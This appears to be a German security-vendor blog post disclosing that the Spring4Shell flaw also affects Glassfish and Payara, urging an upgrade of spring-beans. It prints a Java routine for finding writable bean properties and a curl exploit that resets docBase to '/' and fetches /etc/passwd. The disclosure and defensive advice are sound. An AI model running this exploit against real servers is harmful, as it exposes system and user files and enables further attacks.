Skip to main content

Spring4Shell betrifft auch Glassfish und Payara: dieselbe Schwachstelle, neuer Exploit

Artikel von
blog feature snyk policies

8. April 2022

0 Min. Lesezeit

Letzte Woche haben wir die Entdeckung von Spring4Shell bekannt gegeben – einer Schwachstelle zur Remote Code Execution (RCE) in älteren Versionen des Pakets spring-beans. In unserem Blogbeitrag Spring4Shell: Die Zero-Day-RCE im Spring Framework erklärt haben wir gezeigt, wie ein alter Tomcat-Exploit für CVE-2010-1622 wieder relevant wurde. Aufgrund der Art des Problems erwarteten wir, dass neben diesem bekannten Tomcat-Exploit weitere Payloads entwickelt werden könnten. Heute hat unser Security-Research-Team bestätigt, dass dies der Fall ist. Es gibt nun ähnliche Exploits für Glassfish und Payara, die dieselbe Schwachstelle in Spring mit einem anderen Payload ausnutzen. Das Payara-Team wurde über unseren Fund informiert. Dadurch konnte es die eigene Analyse bestätigen, der zufolge bestimmte Payara-Konfigurationen anfällig sein könnten.

Doch das Wichtigste zuerst: Dies ist KEINE neue Schwachstelle. Es handelt sich lediglich um einen neuen Exploit, der unsere Vermutung bestätigt, dass das Problem über die ursprüngliche Tomcat-Schwachstelle hinausgeht. Obwohl Payara einen Hotfix für die betroffenen Versionen von Payara Community und Payara Enterprise veröffentlichen wird, bleibt unsere Empfehlung zur Behebung dieselbe. Aktualisieren Sie Ihr spring-beans -Paket auf Version 5.3.18 oder 5.2.20 oder höher. Wir möchten noch einmal betonen: Die Aktualisierung auf eine neuere Version dieses Pakets ist unbedingt erforderlich und sollte höchste Priorität haben.

Weitere ausnutzbare beschreibbare Eigenschaften finden

Das Security-Research-Team von Snyk nutzte die folgende Funktion, um herauszufinden, welche Attribute auf dem jeweiligen Anwendungsserver beschreibbar sind. Die von Kirill Efimov aus unserem Security-R&D-Team entwickelte Funktion nutzt die Spring-API, um alle verfügbaren Eigenschaften zu durchlaufen und eine Liste der Eigenschaften zu erstellen, die für einen potenziellen Angriff verwendet werden können.

public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}

Wenn Sie diese Funktion HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null); in Ihrem Endpunkt aufrufen, können Sie die Eigenschaften ganz einfach auflisten und untersuchen.

Angriff auf den Glassfish-/Payara-Server

GlassFish ist ein Anwendungsserver, der Tomcat ähnelt. Auf die Unterschiede gehen wir nicht näher ein, da sie hier nicht wirklich relevant sind. Payara Server basiert auf GlassFish und weist viele Gemeinsamkeiten auf. Es handelt sich jedoch um unterschiedliche Produkte, denn Payara bietet mehr Funktionen als das ursprüngliche GlassFish. Das Payara-Team hat einen ausgezeichneten Blogbeitrag zu diesen Unterschieden veröffentlicht, die für diesen Exploit allerdings nicht wirklich relevant sind.

Verwenden wir dieselbe Anwendung wie in unserem vorherigen Blogbeitrag, stellen sie diesmal aber auf Payara Server (Community) 5.2022.1 bereit. Mit der Funktion aus dem vorherigen Abschnitt konnten wir feststellen, dass die folgenden Attribute beschreibbar sind:

[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

Besonders interessant ist die Eigenschaft class.module.classLoader.resources.dirContext.docBase, die wir in unserem neuen Exploit verwenden.

Im folgenden Exploit verwenden wir diese Eigenschaft, um docBase auf / zu setzen. Da das Stammverzeichnis nun auf das tatsächliche Stammverzeichnis des Computers verweist, können wir auf Dateien zugreifen, die normalerweise nicht verfügbar sind. Das folgende Beispiel zeigt, wie wir den Inhalt der Datei /etc/passwd mit folgendem Aufruf herunterladen können:

http://localhost:8080/handling-form-submission-complete/etc/passwd

Exploit

echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl http://localhost:8080/handling-form-submission-complete/etc/passwd

Natürlich ist das nicht wünschenswert, denn nun können wir beliebige Dateien im Dateisystem lesen. Dadurch können wertvolle Informationen offengelegt werden, mit denen böswillige Akteure Folgeangriffe durchführen können. Auch Daten zu Nutzern könnten offengelegt werden.

Das vollständige Exploit-Projekt von Calum Hutton, Security Researcher bei Snyk, ist auf GitHub veröffentlicht.

Aktualisieren Sie Ihr Spring Framework so bald wie möglich

Wir möchten noch einmal betonen: Dies ist KEINE neue Schwachstelle, sondern ein weiteres Beispiel dafür, wie dieselbe Spring4Shell-Schwachstelle auf einem anderen Server ausgenutzt werden kann. Die wichtigste Erkenntnis: Diese Schwachstelle in Spring betrifft nicht nur Tomcat. Das Problem in Spring selbst ist sehr allgemein, und möglicherweise werden zahlreiche Varianten von Exploits für unterschiedliche Server entwickelt. Dass für Ihren Anwendungsfall noch kein Exploit bekannt ist, bedeutet also nicht, dass Sie nicht anfällig sind.

Das Beste, was Sie tun können – und meiner Meinung nach tun müssen –, ist, Ihr Spring Framework (oder zumindest das Paket spring-beans) auf die neueste Version zu aktualisieren. Nach unserem Kenntnisstand wird die Aktualisierung des Pakets diese Schwachstelle unabhängig von der verwendeten Anwendung beheben.

Snyk hilft Ihnen dabei, den Überblick zu behalten, indem Ihre Anwendungen regelmäßig gescannt werden. Snyk benachrichtigt Sie und Ihr Team, wenn neue Schwachstellen erkannt werden, und empfiehlt die nächsten Schritte, damit Ihre Anwendungen sicher bleiben. Worauf warten Sie noch? Beginnen Sie mit der Aktualisierung!

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.